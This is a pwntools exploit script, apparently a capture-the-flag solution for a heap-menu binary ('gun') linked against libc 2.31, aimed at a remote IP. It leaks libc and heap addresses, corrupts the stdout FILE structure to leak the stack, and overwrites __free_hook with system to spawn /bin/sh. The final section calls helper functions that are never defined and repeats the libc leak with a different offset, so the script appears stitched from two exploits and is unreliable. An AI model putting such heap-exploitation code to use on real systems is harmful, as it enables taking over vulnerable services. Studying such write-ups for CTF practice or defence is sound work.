from pwn import * p = process("./gun",env = {"LD_PRELOAD":"./libc-2.31.so"}) p = remote("123.57.209.176","30772") libc = ELF("./libc-2.31.so") #context.log_level = 'debug' defshoot(times): p.recvuntil("Action> ") p.sendline("1") p.recvuntil("Shoot time: ") p.sendline(str(times)) defload(idx): p.recvuntil("Action> ") p.sendline("2") p.recvuntil("Which one do you want to load?") p.sendline(str(idx)) defbuy(size,data): p.recvuntil("Action> ") p.sendline("3") p.recvuntil("Bullet price:") p.sendline(str(size)) p.recvuntil("Bullet Name: ") p.send(data)
p.recvuntil("Your name: ") p.sendline("aaa") for i in range(9): buy(0x88,'1111\n') for i in range(9): load(8-i) shoot(9) buy(0x38,'\n') load(0) shoot(1) p.recvuntil("Pwn! The ") libc.address = u64(p.recv(6)+b'\x00\x00')-0x1EBBE0 print(hex(libc.address))
#io leak stack for i in range(10): buy(0x38,'\n') load(0) shoot(10) for i in range(7): buy(0x38,'\n') load(0) shoot(9) p.recvuntil("Pwn! The ") p.recvuntil("Pwn! The ") heap = u64(p.recv(6)+b'\x00\x00')-0x770-0x50 print(hex(heap)) for i in range(7): buy(0x38,'\n') buy(0x38,p64(libc.sym['_IO_2_1_stdout_'])+b'\n') print(hex(libc.sym['_IO_2_1_stdout_'])) buy(0x38,'\n') buy(0x38,'\n') buy(0x38,p64(0xfbad1800)+p64(0)*3+p64(libc.sym['environ'])+p64(libc.sym['environ']+8)+p64(libc.sym['environ']+8)+b'\n')#write1 stack = u64(p.recv(6)+b'\x00\x00') print(hex(stack))
for i in range(8): add(0x80,'\n') for i in range(8): free(7-i) add2(1,'1') show(0) p.recvuntil("Content: ") libc.address = u64(p.recv(6)+b'\x00\x00')-0x1EBC31 print(hex(libc.address)) for i in range(5): add(0x80,'\n') for i in range(2): add(0x80,p64(libc.sym['__free_hook'])+b'\n') free(3) free(7) free(5) free(4) add3(0x80,'1\n') add(0x80,'\n') add(0x80,'/bin/sh\x00\n') add(0x80,p64(libc.sym['system'])+b'\n') free(5) #gdb.attach(p,'b *$rebase(0x1537)\nb system')